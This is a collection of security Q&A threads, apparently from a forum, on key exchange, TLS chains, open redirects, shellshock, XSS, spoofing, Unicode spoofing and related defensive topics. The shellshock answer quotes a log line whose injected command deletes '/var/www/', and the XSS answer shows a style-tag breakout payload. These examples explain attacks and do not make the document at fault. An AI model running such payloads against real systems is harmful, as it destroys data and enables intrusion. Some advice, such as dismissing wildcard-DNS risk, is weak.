guarantee that the public key isn't compromised on the way to the recipient when sender has recipients public key Lets say that I have a situation where a friend of mine has my OpenPGP public key(which is publicly visible on a web page, but I handed it him personally on a piece of paper), I do not know his public key and I need to send encrypted data to him. This means that I need to get his public key in a secure manner so that I can encrypt data with his public key. All the communication needs to happen over e-mail.

At first I thought that he simply encrypts(not for hiding but for ensuring that his public key is not changed during the transmission) his public key with my public key and sends it to me with an e-mail, but actually this does not work because in case of MiT attacker could replace the original e-mail with a forged one and also encrypt it with my public key. In other words it is not possible for me to tell that the public key I received is actually my friends public key.

Am I correct that there is no other solution to this other than I need to get his public key on a piece of paper, I verify his public key through a trusted introducer(e.g. a Certification Authority), etc?

Yes. There must be a trusted entity, be that the connection between a and b that c cant access or a CA who can confirm that a is a and that b trusts.


Using Diffie-Hellman to verify SSL Certificate? I am fairly new to encryption and I need some help. I have a problem that I'm trying to solve.

My problem is the following:

I have a Web Server and an (iOS) App that that communicate with each other.
I want the communication to be secure, so I'm using HTTPS.
The Web Server and the App are communicating via an intranet, with no access to the internet on either end.
Since there is no connection to the internet, the SSL Certificate on the Web Server is self signed, and cannot be verified against a CA.

So my problem is that when I establish an HTTPS connection, the Certificate cannot be trusted because it can't be verified, so MITM attacks are possible. So what I need is a way to verify the Certificate without resorting to a CA.

My idea is to start by establishing a secure connection between the App and the Web Server using Diffie-Hellman to transfer the certificate, so that when the SSL connection is being established, I can verify if the certificate is correct.

Would this work? Or is it somehow still susceptible to MITM or other attacks? If it is, then how else can I solve my problem?

Also, it's worth mentioning that each of my customers will have their own Web Server and therefore their own self-signed certificates. So embedding the public key into the App is not an option.

I don't think you understand fully what you are doing so I try to explain your steps:

  ...start by establishing a secure connection between the App and the Web Server using Diffie-Hellman..

This would be an anonymous DH connection because you don't verify the identity of the peer. And you can't verify its identity because you have no trust anchor yet. Because you don't verify the identity you cannot be sure who you are talking with. This means also that MITM attacks are possible so you should not trust any data you get inside this connection.

  ... to transfer the certificate, so that when the SSL connection is being established, I can verify if the certificate is correct.

This means you transfer a trust anchor for future connections using an untrusted connection which is open to MITM attacks. There is no way to verify that the certificate you got is actually the certificate of the peer you liked to talk with and not the certificate of the attacker.

In summary: You replace "no verification because no trust anchor" with "verification against actually untrusted trust anchor".


Computer Forensics: what is in your toolbox? What tools do you use for collecting evidence, making disk images, inspecting live memory and so on?

The majority of my forensics work is done after the fact in a lab environment, so by the time I get involved on-line work is too late, i.e. no memory analysis.

Historically I would use

EnCase
Helix LiveCD
Argus

Recently I have started moving away from that combination and on to

Argus
Autopsy - For aquisition and system analysis
BackTrack (Forensics Mode)
sed/awk/grep/last, etc

In both cases acquisitions are performed using whichever write-blocker is appropriate, most of the ones I use are made by Tableau.  One reason I have moved to Autopsy is the support for hash databases, such as NSRL.  Another is that it is free.  EnCase is a great tool, but expensive.


Defending site against being abused by phishing Say you have a web site and you are using some returnUrl URL parameter to redirect user back to page where he was after login or editing some records in user area. Is there some standard way how to check if the returnUrl is located on same server as the web application?

So far I figured out, that there are two ways how atacker can redirect user elsewhere and following actions can be performed to prevent these attacks:

Attacker supplies whole URL in the parameter (http://evil.com/) - here it is possible to check if parameter contains http(s):// or ftp://
Browser automatically adds the protocol if it is missing, so attacker can provide something like //evil.com or //numeric_ip_address and it will redirect user outside the server too - here you can still check if URL starts with the //

Are there any other ways to encode URL address? Can I be sure that the parameter cannot be misused if I check only previous two cases?

One way you could approach this would be to encrypt the parameter as it's passed to the user with a key stored on the server (also for better protection consider adding a HMAC). Then when the user submits the form, decrypt the parameter (and check the HMAC if used) and use it to redirect the user.

I've seen cases where the URL is just obfuscated (base64 encoding etc).  That might deter casual attackers, but I wouldn't rely on it, as a determined attacker is likely to work out the scheme used.


How should I configure OS for fuzz testing? Should I configure my OS in any particular way, if I'm going to be doing some fuzz testing?  Should I turn off ASLR (address space randomization)?  Does it matter?

ASLR is a broad term that encompases many different protections and techniques.
In general, basic forms of ASLR (eg stack randomisation) are used to make development of exploits harder or impossible - but do not prevent the triggering of the bug and a crash of an application. Fuzzing should work the same with aslr enabled or not.


What do shellshock attacks look like in system logs? I have some Linux servers, which from what I can tell are not vulnerable to the shellshock attack vector, but I am curious what the attack looks like in the logs. What does a successful attack look like in the appache2 logs?
What would a successful attack look like in the system log?

What do failed attempts look like? I'd like to extend my black-list for shell-shock type attacks.

This is an entry from my access_log of what my coworker did to my test machine... :

10.11.12.13 - - [25/Sep/2014:16:00:00 -0400] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/rm -rf /var/www/"

In my error log I saw a lot of this:

[Thu Sep 25 16:00:00 2014] [error] [client 10.11.12.13] /bin/rm: cannot remove `/var/www/icons/pie0.png': Permission denied

Bastard :-)

A well configured web-server won't be able to overwrite its logs, and in all but the tiniest environments, you should be using centralized logging to protect you from losing these kinds of log entries.

If you're successfully exploited, you may see lots of errors in the error_log which show failed attempts to access resources, execute programs or delete files.  If they successfully escalate privileges, and you don't have off-site logging, then you may see no evidence.


Wildcard DNS entry from a security PoV We are going to release our new product which will have customers create their own subdomains. This requires having a wildcard DNS on our main domain (We have no other options, right?)

Are there any disadvantages (from a security point of view) in having a wildcard DNS?

Nope, I don't think there are any vulnerabilities.

A google search turned up this article from 2005 which suggests that your customers might use the wildcard to generate semi-convincing URLs(e.g. http://barclays.co.uk|snc9d8ynusnes89g8z.domain.com) for phishing attacks. Nevertheless, I dont think its something to worry about.

link : http://news.netcraft.com/archives/2005/03/07/phishers_use_wildcard_dns_to_build_convincing_bait_urls.html


how to continuously caputre all my network traffic? I've got a Linux desktop that will be a gateway between my private network and the open internet. I'd like it to capture and store all network traffic passing through it continuously, 24/7 (until the HDD fills up ;). But it has to be more sophisticated, than just a one big packet dump:

1) I'd like to have some white-listing capability to selectively not store specific kinds of traffic (e.g. YouTube videos, BitTorrent downloads.) That probably means creating rules based on protocols, IPs/domains, header/content keywords, DPI maybe?

2) Store it in a way that makes it possible to easily query the captured data. Remember - this will get pretty big very soon with normal web usage. So my guess is, maybe some fast, flat database, like Redis?

I'm relatively new to Linux. I have a rudimentary knowledge of stuff like iptables and I found out about tcpdump/libpcap, but it seems too basic (see two points above.)

How do I go about this?

...

(This is a separate question, but I also welcome suggestions on how to query all this data. I need something high-level, like "get me all the files downloaded by that device/ip today", and not just a big Wireshark-style list of packets, which might be good for diagnostics, but not for efficient content retrieval and browsing.)

This blog post talks about doing continuous capture with Wireshark -- specifically, with the dumpcap utility which comes with Wireshark. The utility supports some filter expressions, based on port, IP address, protocol...

For more extensive filtering and searching abilities, some googling reveals the existence of n2disk, which is not free (in neither sense of the term), but may be worth it (I have not tried it). Moreover, n2disk relies on nDPI, which is free (GPL); it is a library, so you could potentially use it to write your own "capture record" application. Also have a look at nProbe, which is also GPL (but with a fee -- this highlights the difference between the two notions of "free"), and which might fit your bill.


Does Samsung's "Security Enhancements for Android" offer anything for consumers? On many of its Android devices, Samsung encourages the user to accept updates for Security Enhancements for Android.

Here is Samsung's official page on the updates:

http://www.samsung.com/hk_en/support/skp/faq/1028007

The user is presented with the following message encouraging them to allow updates to to SE for Android:

  Security policy updates

  Security Enhancements for Android policy update

  Samsung Electronics Co., Ltd ("Samsung") offers an automatic update
  service for its Security Enhanced for Android (SE for Android)
  policies to enhance security for your device.

  These continuous and automatic updates can help to avoid or counteract
  new malicious code, software bugs, and other security risks on your
  device, and improve overall software performance.

  The updates may add new security policies and delete any existing
  policies, if necessary. The service may detect and delete downloaded
  software which contains malware.

  Updates are performed wirelessly, without a USB connection, and you
  may incur a mobile data charge from your carrier.  For the update
  service, the following User Information is necessary and will be
  collected.

  Your device's unique identification number, model name, carrier code,
  security policy records, your device's current software version, MCC
  (Mobile Country Code), MNC (Mobile Network Code)

  The collected information is only used internally by Samsung pursuant
  to our privacy policy.  Unless stated otherwise herein, your data will
  be collected, processed and used in accordance with Samsung's Privacy
  Policy at [https://account.samsung.com/membership/pp].  By installing
  the update, you agree to the terms of our privacy policy.

Obviously, there are privacy implications to the data collected.

One review was not favorable:

http://www.zdnet.com/article/samsung-security-or-arrogance/

Note that these "enhancements" are not the security patches offered by new releases of the Android OS.  Those are delivered via OTA (Over The Air) updates.

For enterprise devices, these "enhancements" seem like they may be valuable.  But do they offer anything for consumers who do not install software from unknown sources?

Ostensibly, the update in question should be a positive thing. This is a security tool, and Samsung is asking for automatic updates to be turned on so the tool can stay up to date and take steps to keep its protections current. However...

The update itself
"may add new security policies and delete any existing policies"

"may detect and delete downloaded software which contains malware"

"the following User Information is necessary and will be collected"

"collected information is only used internally by Samsung pursuant to our privacy policy. Unless stated otherwise herein, your data will be collected, processed and used in accordance with Samsung's Privacy Policy"

from the privacy policy:

"We may share your information with:
• Affiliates - the Samsung family of companies.
• Business partners - trusted companies that may provide information about products and services you might like.
• Service providers - companies that provide services for or on behalf of Samsung.
• Law enforcement - when we are required to do so or to protect Samsung and its users."

Basically, you're agreeing that they can do anything at any time to your device, including deleting things, installing software, changing policies, etc... and can share your collected information with basically anyone that they care to. Relatively par for the course for a mobile device these days, really.

The Security Enhancements for Android

This is part of Samsung KNOX - http://www.samsung.com/us/business/security/knox/

KNOX is several layers of security tooling, including:

• trusted hardware (unique device key, secure boot key, hardware fuses for rollback prevention)

• secure boot and trusted boot (multiple layers to prevent unauthorized bootloaders)

• anti-tamper e-fuse (blows the fuse if the device is suspected of tampering, even if restored to the original state)

• security enhancements for android (a set of security policies that restricts application access)

• trustzone-based integrity measurement architecture (TIMA) (tries to maintain security even if the kernel is compromised)

• realtime kernel protection (leverages TIMA to prevent attacks against the kernel)

• remote attestation (enables an MDM to verify device integrity)

• several application security bits

Quite a bit more detailed info can be found in the whitepaper here:

https://kp-cdn.samsungknox.com/5ef8fc5a58971c019a4b0fe6607b4585.pdf

I find the hardware and software fuses particularly interesting.

Ultimately, KNOX represents many layers of security to keep the device from being compromised. If you want a walled garden device (the route Apple went), this takes many steps in that direction. If you want an Android device that you can tinker with, this is likely a bad thing for you. Also, there have a been a number of serious issues with the implementation of KNOX over the last couple years:

https://forum.xda-developers.com/showpost.php?p=52329946&postcount=76
http://www.zdnet.com/article/google-project-zero-how-we-cracked-samsungs-dod-and-nsa-certified-knox/
http://seclists.org/bugtraq/2016/Jan/79
http://seclists.org/bugtraq/2016/Jan/80
http://seclists.org/bugtraq/2016/Apr/95

Yes, you'll likely not see the benefits of these security measures to as great an extent if you don't install software from unknown sources, but this is not the only way that nasty things may make their way onto your device. KNOX is a set of security tools that comes with many of the issues common to such hardware and software components, i.e, YMMV.


How can I apply message digest to the application so that user can validate the accuracy and completeness of the software I have developed the application and now it's time to distribute to my users. I was reviewing my application and reading security best practises and found below statement in one of the article.

  Published software should provide the user with the message digest so that user can validate the accuracy and completeness of the software

Now, the question is how can I do it practically? How do I sign my MSI package or application? Where I can find the process and steps? How user validate my application accuracy?

You should provide the user with a message digest (ex - sha256) so that user can validate the accuracy and completeness of software. Digests are designed in a way that even a single bit flip in your application will result in a different digest.

You can calculate the sha256 digest using following command on a mac machine (Tested on mojave)

openssl dgst -sha256 <file.msi>

You should provide the hash algorithm used i.e., sha256 along with the digest from the above command which a user can validate on their own machine after downloading your application. If the digest matches the one mentioned on your website then only the accuracy of your application is validated.


Is XSS through style attribute possible in modern browsers? Let's say users can define content of the style attribute, but in a constrained way. They can't break out of its value, as white-listing parser will remove any unsafe attributes/tags produced this way.

Can they do XSS using just the style attribute value in modern browsers?
With 'modern' being IE10+ and newest versions of other browsers.

I have searched for it everywhere, but I think all modern browsers are safe from XSS into CSS.
Although I had one particular test and it got executed into my Chrome (and probably other browsers)

If you application is naively injecting any input into  this interesting scenario can happen:

}
</style>

My First Heading

My first paragraph.

...

OR

p {
    /*injecting into bg's url*/
    background: url("garbage"}</style>/*) repeat;
    text-align: center;
    color: red;
}

Obviously .. an XSS


How does IP address spoofing of a bad address work? While reading up on iptables, I saw this article from NixCraft recommending that a server block the following bad addresses:

0.0.0.0/8
10.0.0.0/8
127.0.0.0/8
172.16.0.0/12
192.168.0.0/16
224.0.0.0/3

It doesn't say whether it is applicable for UDP, TCP or all traffic. My web server has an application running on TCP 127.0.0.1. I am more worried about spoofed source IP addresses like 0.0.0.0 or 127.0.0.1 reaching my server on TCP.

Seriously, is that possible at all?

Spoofing an IP address is possible, though not very easy to do for the average person. The reason being that most ISP's will drop spoofed packets as they leave your network. This is even more applicable to bogons as they are generally filtered at the ISP level, and border firewalls.

If a spoofed packet does make it to your server, you should understand that there is no valid return path for that packet. An attacker spoofing an IP address would not be able to see any data from the server itself, but it could still be used in something like an amplification attack or to trigger an event within the servers services.

When talking about reserved private addresses, the likelihood of them hitting your network is very slim. Just because something is unlikely doesn't mean it is impossible.

The idea is that you should not be accepting these packets through your public interface, because what lies on the other side is not trusted. Just because your ISP should and most likely does filter these doesn't mean that you should not be doing the same.


Should concurrent logins be allowed? We have a web app (Django) that logs users out if they haven't made a request within 1 hour.

From a security point of view, is it good practice to also block concurrent log ins?
In other words, if a user logs in on his PC and then logs in from their mobile device, should they get logged out of the session on their PC?

There's no "one answer fits all" here. If it's simply a social media app, it might be sufficient to allow concurrent sessions, but also offer a way to terminate one or all sessions if the account is compromised. For many types of games, concurrent access means cheating, so should probably be disallowed, or at least designed in a way that the account can't cheat (e.g. there may be multiple latent sessions, but only one active session). For systems with sensitive information, like HIPAA- or GDPR-related information, 2FA should probably be required, short session times, and concurrent logins should probably be disallowed.

The important thing here is common sense. You need to ask yourself "what's the worst that could happen if concurrent access were allowed?" and "what would the user gain from having such a feature?" If the cons outweigh the pros, don't do it. If there's too much risk involved, don't do it. If it would convenience the user, consider allowing concurrent logins, perhaps with some caveats, such as only having one active session at a time, or allowing session management to disable sessions, and in any case, 2FA should probably be available, if not required.


Are there any security bugs with UTF-8? I have just recently decided to allow all characters for my website. Are there any common security bugs that I need to deal with? are there any ways to "inject" using utf-8? Is it safe to allow users to use passwords with non english alphabetical characters? and can php's bcrypt handle hasing that?

edit: I have no idea what I'm doing when it comes to things like character sets.

The common inherent possible security issues from adding Unicode support (not specific to UTF-8) come from the increased potential for visual spoofing, and issues coming from normalization mismatches.

Visual spoofing: say you have a forum with a user named "admin" that everyone knows to trust. Someone else could register a user account named "аdmin" (the first letter is the cyrillic letter a), and trick others into thinking they were the site admin. This is mostly a technique for social-engineering: it's unlikely that any software will mix up the users. (This specific example could be partially addressed by having the site add special formatting or flair near the admin's name, making profile names be links to profile pages which show the user's activity history and join date, etc., so users could identify others in ways besides their visible forgeable name. This is a more general issue that isn't exclusive to unicode support: users could also name themselves other misleading names like "<site> Support", "admin " with a space, "admim", etc.)

Normalization: certain characters like "ö" can be represented in multiple ways. It could either be the single character U+00F6 (LATIN SMALL LETTER O WITH DIAERESIS), or the two characters U+0061 U+0308 (LATIN SMALL LETTER O + COMBINING DIAERESIS). Normalization is the process of converting all text to the combined or decomposed form. If you consistently never use normalization or always use normalization, then you won't run into issues. However, if you sometimes do, you can have security issues:

For example, OS X normalizes unicode in filenames. Say you had a website without any normalization-related code running on an OS X server where whenever a user registered, a file was created with their name, and you used a database without any normalization to keep track of usernames that were already registered in order to prevent names being re-registered. If you had a user named "foö" (using U+00F6), then someone else could register an account named "foö" (U+0061 U+0308), and the site would allow it but would overwrite the file created by the first "foö" user. To solve this, you would either need to make your application normalize consistently throughout the whole application, or you would need to check for collisions whenever you cross some boundary that does normalization differently (when a user registers and you need to make a file for them, open the file in exclusive mode so that it will fail if the file already exists, and you can block the new user from being registered).


Clicked a shortened link in a phishing email in Mac Today, I got a fake email that says it's from Amazon and I clicked a shortened url link in that email in both Google Chrome and Firefox. I noticed that the url it redirected to was not of Amazon's, so I immediately realized that I was phished, so I didn't enter any info.

I was on a Mac that runs Yosemite version 10.10.5 and I haven't updated Google Chrome for like one or two years. Firewall was on. I use Google Chrome to do all the money related activities.

After that, I deleted cookies and cache from Google Chrome and accessed my Amazon account through the real Amazon login page. It didn't seem anything has happened on my account yet.

I don't have any anti-virus software running on that Mac.

Is there any chance that my Mac is now in danger because of this? Should I do things like changing my Amazon password or re-installing the OS?

Yes, there is a chance your mac is infected.  Without an analysis of the link you clicked on and your system, there's no way to know for sure.

That said, it's unlikely. If it was attempting to steal your credentials, it probably wasn't trying to drop malware, and even then it would likely be Windows malware.

Regardless, changing your password is probably a good idea. Reinstalling your OS is probably overkill. If you're really paranoid, you could run a wireshark capture on your system and look for indicators of C2 communication.

At the end of the day, it's your decision.


Is DNS leak really an issue? I'm reading about DNS leak and what threat it can pose to VPN users, for instance, this question. But generally, there's tons of similar topics on the internet. But what are people afraid of? I just made a simple test. I started two instances of wireshak. One of them was set to look at the physical eth0 interface, and the other at the virtual tun0 interface. It looks like this:

On the left, you have the tun0 interface with dns filter. On the right it's the eth0 interface. The /etc/resolv.conf file points to 8.8.8.8, so this is the google DNS server. On the left side, you can see some DNS queries, you can see the domain and that the query was sent to google. On the right you see only the encrypted traffic.

So why are people so afraid of? The only thing that google (or anyone) sees is the VPN's IP address. If the VPN doesn't store logs, you can't simply connect a person which uses the VPN service. On the other hand, if the VPN service logs the users activity, then it doesn't matter whether you use their DNS.

Is that true or not?

That's not the problem. Some people use VPNs for privacy (which is arguably misguided, as a VPN is a remote network connectivity tool and not a privacy tool, but that's an argument for another day) and having DNS queries leak out of the non-VPN connection is a concern in that scenario.

Say, for example, I live in an oppressive regime with little regard for the sanctity of free speech, where rich people can pay to keep certain information secret through a legal injunction preventing public dissemination of information. Now say someone publishes (or "leaks") this information to a site somewhere, and I go visit it to see what's being hidden. Being vaguely savvy in the world of privacy (e.g. someone who read a Facebook post about VPNs) I decide to use a VPN in order to hide my supposedly-nefarious activities from the systematic surveillance machine. But, alas, my system and browser are not correctly configured, and instead of sending that DNS query through the VPN tunnel, it sends it directly out in the clear, so that my ISP and those pulling the strings can see it. The DNS request demonstrates my intent to visit the site, and it's off to the re-education camps for me.

TL;DR - People use VPNs for privacy because VPN providers market them as privacy tools, and DNS requests being leaked outside of this channel give the game away.


Multiple SSL server certificates I am sort of new to SSL.
During a SSL connection establishment, I see that the server is sending multiple certificates.

Can someone help me to understand why the server is sending multiple certificates?
And how can I do the same with openssl, apache or gnutls server?

Thanks in advance.

** Update **
Thank you for all the answers. I also figured how to do it in apache2

I added the SSL configuration in the ports.conf
/etc/apache2/ports.conf

<IfModule mod_ssl.c>
    Listen 443
    <VirtualHost *:443>
      ServerName www.example.com
      SSLEngine on
      SSLCertificateFile /root/25apr-rootcert
      SSLCertificateKeyFile /root/25apr-rootkey
      SSLCertificateChainFile /root/25apr-chain.pem
    </VirtualHost>
</IfModule>

One need to add the chained crt as SSLCertificateChainFile /root/25apr-chain.pem

For testing purpose, I just concatenated the /root/25apr-rootcert to /root/25apr-chain.pem few several times.

Hope this helps!

For all things SSL, reading the standard is not a bad idea; it is very readable (for a standard). You may want to skim through this answer first, as a kind of reading guide.

For your specific question, what the server sends as "certificate" is described in section 7.4.2:

certificate_list
   This is a sequence (chain) of certificates.  The sender's
   certificate MUST come first in the list.  Each following
   certificate MUST directly certify the one preceding it.  Because
   certificate validation requires that root keys be distributed
   independently, the self-signed certificate that specifies the root
   certificate authority MAY be omitted from the chain, under the
   assumption that the remote end must already possess it in order to
   validate it in any case.

The point is that a certificate, in order to be usable by whoever receives it (here, the client), must first be validated, a process by which the client puts the certificate at the end of a chain. The chain begins with a "trust anchor" (a "root CA" whose public key is known a priori), and each chain element is an intermediate CA certificate, issued (signed) by the previous certificate in the chain. The chain ends with the certificate that is to be validated. Validation entails verifying an awful lot of things (described in another standard that is substantially less readable for sane human beings), in particular all the cryptographic signatures (each certificate is signed by its issuing CA; the signature is verified with regards to the public key contained in the certificate which comes immediately before in the chain).

Since a chain must be built, the server is supposed to send to the client a complete chain, so that the client may work on it directly. Otherwise, the client would have to locate and obtain the relevant intermediate CA certificates, a process which can be quite complex and prone to failure.

Noteworthy points:

The chain sent by the server is in reverse order: it begins with the end-entity certificate (i.e. the server's certificate properly said), then followed by the certificate for the CA which issued the server's certificate, then the CA which issued that CA's certificate, and so on.
The chain may or may not contain the root CA certificate itself. Sending it is not needed since the client already has it (validation is really trust delegation; it must start somewhere). Sending the root CA is nonetheless allowed by the standard, and some servers do it (mostly for the sake of tradition).
The client is free to use the chain sent by the server, or to build another one. For a given certificate, several chains may be possible (it depends on PKI structure). Most Web browsers will first try the chain as received from the server, and, on failure, try again with some custom chain building. Some more limited clients, in particular embedded systems, will use the server chain only. So the server should send a proper chain with no missing link (otherwise, only "smart" clients will be able to validate the server's certificate and thus successfully connect).


List of most common network vulnerabilities a la OWASP Top 10 I am trying to find the most commonly used attack vectors/techniques on computer networks in the style of the owasp top 10, for my thesis work. The reports shouldn't be older than 2-3 years. Can you provide some sources?

[Edit:] Edited the title to the suggestion of @schroeder
Also, I have found a possible solution, but it isn't a precompiled list. There is a list called CWE where one can find common weakness types like this one

Since CVEs are mapped to these categories, one can use the NVD statistics engine to manually request statistics and compile this kind of ranking.

The existing CWE/SANS Top 25 mentioned in an answer below is very old

The WA in OWASP stands for Web Application, so OWASP doesn't produce one.

Other organizations may have this information. You might want to look at the SANS list at http://www.sans.org/top25-software-errors/.


Need help designing an encryption workflow Background: I'm building a .NET application, a very small part of this application allows for users to communicate with a third party application. I am designing this aspect. The third party simply needs the user name and expiry time (will likely be very short), because they have access to check, against our user store, if certain users are valid.

My plan is to use some sort of AES/RSA combination to do this. I have a certificate that I could pass, in private communication, to them for RSA decryption. Maybe do the following:

Encrypt required info with RSA (using certificate)
Encrypt this information with AES (append initialization vector to the end)
Pass this to the third party
Have them decrypt using the IV and private key I will give them (passed in private communications)
Have them decrypt using RSA and the certificate

Am on the right track here?

Thanks

I think you should look at a more standard approach to store and forward, which is similar to the S/MIME encrypted email method. Take a look at PKCS#7 and XML Encryption standards.

These types of protocols work where the sender of the message looks up each recipient's certificate in the user store. The sender generates a symmetric key (AES is just fine) for encrypting the message, and encrypts the key using the public key of each recipient, which he now has in their certificates. The encrypted message and each recipient's copy of the encrypted AES key are bundled together and sent as a message.

In practice it is better to use RSA for key agreement and AES for bulk encryption.

Why?

RSA is asymmetric and based on complex mathematics. It is slow. The algorithm is not designed for speed. The algorithm is also limited in the size of what can be encrypted. The maximum message length which can be encrypted is the same as the key size. So for 1024 bit keys a maximum message size of 128 bytes, etc...

AES, and other symmetric algorithms, are designed for speed, efficiency and throughput.

Although key management is difficult, combining asymmetric and symmetric cryptography will allow you to agree keys and bulk encrypt.


Is it unsafe to keep multiple versions of a KeePass database? I keep my KeePass .kdb database in a remote location, and I never overwrite the old versions, I just append the date to the new version which I'm uploading. So it looks like this:

db.kdb_2015-01-01
db.kdb_2015-02-01
db.kdb_2015-02-04
db.kdb_2015-04-01
db.kdb_2015-05-02
....

There's a couple of dozens of these. All have same passphrase, and there's a slight difference between two successive ones. I keep them in case one day I notice I deleted/edited something I shouldn't have.

So is a group of very similar .kdb files with same passphrase easier to "crack" than just one?

Short answer:
it's probably fine, but make sure to regularly delete really old files.

Long answer:
There is a few reasons why it could be a problem. To illustrate some cases, let us assume an attacker gets hold of all these files, rather than just one (i.e., the most recent one). What could cause your approach to be less secure? Here are some hypothetical possibilities (that could become real in the future):

There was a vulnerability in an earlier version of KeePass, which was since patched, but that stored data in an insecure way. This could lead to the passwords up to that version being compromised, while deleting the older ones would have no effect.
KeePass encrypts the passwords, but has some cryptographically weak way of storing the passwords. For example, lets say it does not use randomized encryption. This means that an information leak exists: the attacker could see when accounts were added or removed, by looking at the difference between files (assuming the order of the passwords remains the same).

The KeePass wikipedia page only says that AES or TwoFish can be used as cyphers. These can be considered secure, but the bigger question for the above is how they are used. There are many more potential cryptographic vulnerabilities that could exist (just look at the problems we saw in recent years with SSL/TLS). However, those are likely to be theoretical in nature, and likely to affect both the case where you only have one file, and the case where you have multiple. Thus, unless you're storing extremely sensitive passwords, keeping a few backup files probably doesn't hurt.


How can I tell if a program (in this case Jitsi Meet Electron) has bad-enough vulnerablities making it unsafe for current use and/or protect myself? I'm uneasy that Jitsi Meet (videoconferencing stack) is Chrome-first (bug relating to other browsers are fixed later) and dislike Chrome for privacy reasons. Jitsi has an Electron desktop web-wrapper though which I want to try, but I'm just paranoid that not enough devs are verifying its code, and that a hacker could find something, especially if the user's in a work/business environment, even if that user prefers open-source to apps like Zoom. My associates and I are currently not ready for everyone to switch to a distro like Qubes (not to mention that Qubes has no commercial support feature).

Answering the question stated in the body, not on the title, you could run the wrapper under firejail, or even better, as a snap. Properly done, the application would run with no access to your filesystem, without needing a full VM / container (such as provided by QubeOS).
(note when using snaps, you should still care about updates inside the snap)
Jitsi Meet does work with firefox (unless disabled, the server could refuse it service), but Chrome/Chromium does indeed work better with audio/video applications (probably due to the way their javascript and multimedia stack works).
Since you seem to be using some kind of *nix distribution, you probably want to use Chromium rather than Google Chrome (Google Chrome is Chromium plus a few proprietary bits, plus branding). Chromium is probably the one packaged by your distribution. You may still dislike it, but most privacy issues should have been disabled (depending also on the view of downstream about patching and how (un)desirable those 'features' are).


Is it safe to expose a commit hash on a public healthcheck endpoint? I'm looking at creating a healthcheck dashboard that at a glance shows you information about all our services including:

Are they running
What sem version they are running
The most recent commit hash of the code they are running.

What I was thinking is that the /healthcheck endpoint would return this information.
Is it safe or dangerous to expose this information?

The purpose of a cryptographic hash is that it doesn't reveal details about what was hashed, but it can be used to verify those details.
Based on your question, I'm assuming that you want to verify that some service's software matches a version that you have in a version control repository.
If someone has read access to your repo, they'll be able to compare the hashes easily.  If your services are based on open source software, then you're simply advertising the version numbers, which is generally considered safe as long as you're updating your software when there is a security release.  If your repo is private, then only trusted people will be able to figure out your version number through your status page.


How to overcome slow process of creating and verifying digital signature? From what I understood is the digital signature is a long process and have following steps:

Hashing the Message Plain Text using a well-known (public) hashing algorithm.
Encrypting it with sender's (A-PvtKey) Private Key.
Appending the encrypted hash to the Message Plain Text and send/store/...
Receivers can be one/many/any. None of the receivers' keys are used.
Anyone wishing to verify the document just follows the reverse process. i.e.,
Separate the encrypted hash from the message
Decrypt with sender's public key (A-PubKey) (usually from a Digital Signature Certificate issued by a trustworthy / legally-acceptable CA).
Generate the hash from the Message Plain Text independently and compare with the decrypted hash from #7 above.

Source: How does the digital signature process work?

The process of generation and verification of digital signature requires considerable amount of time. So, for frequent exchange of messages the speed of communication will reduce.

And noticed there are commercial digital signature providers : http://www.digitalsignatureforetender.com/

How they overcome the slow process of verifying digital signature? Or they are using different mechanism?

The process of generation and verification of digital signature requires considerable amount of time.

I doubt this claim:

Currently used cryptographic hashes are designed to be fast.
Data can be feed into the hash in pieces: one does not need to keep all the data to be signed in memory but can feed the data into the hash piece by piece for example while doing other kind of processing with the data which are usually more expensive than the hashing (like streaming on a network, copying it, transforming it for transport...).
Hashing does not need much memory, i.e. it only needs a constant amount of memory no matter how much data you include the hash.
The final signature only involves (more expensive) cryptographic operations over the small hash no matter how much data need to be signed and is thus fast too.

  So, for frequent exchange of messages the speed of communication will reduce.

The only kind of expensive step is creating the final signature using the private key, the hashing itself is cheap. Still lots of signatures can be created in a short time with common hardware and if this is needed the other processing during communication (i.e. transport over network) is probably more significant for performance  than the signing process. For example each full TLS handshake (i.e. HTTPS) is creating and validating digital signatures and still the performance of the connection is bound primarily by the latency of the network and also the key exchange, but not by creating or validating digital signatures.

It can be expensive though if lots of small data need to be signed - in this case aggregating the data and signing together might be done depending on the use case.

And it can be slow if slow hardware is used, like for example smartcards protecting the private key. In this case the hashing is usually done outside this hardware and the slow hardware is only used for the ultimate signing of the small hash. When using a smartcard for signing a high performance is usually not required. The user has to put the smartcard first into the smartcard reader anyway and maybe unlock it with a PIN so the additional slowness of the smartcard is not that relevant compared to the slowness of this whole process.

  And noticed there are commercial digital signature providers ... How they overcome the slow process of verifying digital signature?

The site you reference does not do any digital signing at all. They do offer certificates which can be used for digital signing though - nothing special and not different to what others offer. The signing is still done by the user itself by using the (secret) private key owned by the user.


Does RekeyLimit property in sshd_config enforce re-keying / key re-exchange? I have set the RekeyLimit property in sshd_config and tried to perform a SSH. However, I could not see rekeying happening in the verbose logs, all I see is the log message below at the start of the session (in my sshd server logs).

debug3: rekey after 2048 bytes, 0 seconds [preauth]

Only when I enable the RekeyLimit on my SSH client (ssh_config) or use ~R, do I see the logs pertaining to the rekeying activity.

Is this expected? Shouldn't the RekeyLimit property in sshd_config enforce rekeying?

I am using OpenSSH 6.7.

Actually, this is quite interesting question.  I had to look into it, how does it actually work.  Direct initiation of rekeying using ~R works fine as you describe and it is expected.  If client forces rekey, it is also working, but the server side is somehow suppressed.  In the code, this variable is handled without special care and if I am right, the client offer overwrites the server's setup, which may not have be intentional and can be interesting topic on openssh-unix-dev list, if there will be no better answer.

It is not specified in the RFC4253, how this should be handled, so it is implementation detail.

However, the rekeying should not be needed to do more frequently than the default, because it stems from MAC sequence number wrapping [RFC4251].

Edit: Rekeying was reworked a bit and in openssh-7.2 should be working better.


What are the most common security threats that have to be considered when dealing with RDP? I'm dealing with a hypothetical infrastructure for enabling workers to use RDP for remote access to their work PCs. These would be virtualized Win7 machines within a VMWare vSphere environment. Workers would have to use a VPN client installed on their PCs/notebooks at home to connect to a VPN gateway and traffic is then routed through a firewall to the LAN where the vSphere environment is situated.

What are the most common security threats that have to be considered when doing a security analysis and/or risk analysis?

EDIT:

I just found this question which answers mine as well partly, but I would also like to know more about threats concerning RDP when used to connect virtual machines.

Answering your edit part:

As the machine is a virtual machine it makes no difference (assuming the VM host is correctly patched and managed). The link in which you found covers the main answers to your question.


